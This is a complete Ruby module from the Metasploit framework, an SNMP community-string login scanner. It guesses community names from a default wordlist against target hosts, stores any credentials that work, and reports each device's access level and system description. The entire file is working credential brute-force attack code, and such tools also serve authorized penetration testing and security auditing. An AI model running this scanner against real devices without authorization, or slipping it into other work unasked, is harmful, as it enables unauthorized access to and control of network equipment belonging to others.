##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/community_string_collection'
require 'metasploit/framework/login_scanner/snmp'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute

  def initialize
    super(
      'Name' => 'SNMP Community Login Scanner',
      'Description' => %q{
        This module logs in to SNMP devices using common community names.
      },
      'Author' => 'hdm',
      'References' => [
        [ 'CVE', '1999-0508' ], # Weak password
        [ 'CVE', '1999-0517' ],
        [ 'CVE', '1999-0516' ],
      ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => []
      }
    )

    register_options(
      [
        Opt::RPORT(161),
        OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]),
        OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]),
        OptString.new('PASSWORD', [ false, 'The password to test' ]),
        OptPath.new('PASS_FILE', [
          false, 'File containing communities, one per line',
          File.join(Msf::Config.data_directory, 'wordlists', 'snmp_default_pass.txt')
        ])
      ]
    )

    deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE')
  end

  # Operate on a single host so that we can take advantage of multithreading
  def run_host(ip)
    collection = Metasploit::Framework::CommunityStringCollection.new(
      pass_file: datastore['PASS_FILE'],
      password: datastore['PASSWORD']
    )

    scanner = Metasploit::Framework::LoginScanner::SNMP.new(
      configure_login_scanner(
        host: ip,
        port: rport,
        protocol: datastore['PROTOCOL'],
        cred_details: collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        version: datastore['VERSION'],
        framework: framework,
        framework_module: self,
        queue_size: 100
      )
    )

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
        module_fullname: fullname,
        workspace_id: myworkspace_id
      )
      if result.success?
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)

        print_good "#{ip}:#{rport} - Login Successful: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
        report_service(
          host: ip,
          port: rport,
          proto: 'udp',
          name: 'snmp',
          info: result.proof,
          state: 'open'
        )
      else
        invalidate_login(credential_data)
        print_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
      end
    end
  end

  def rport
    datastore['RPORT']
  end

  def protocol
    datastore['PROTOCOL']
  end

end
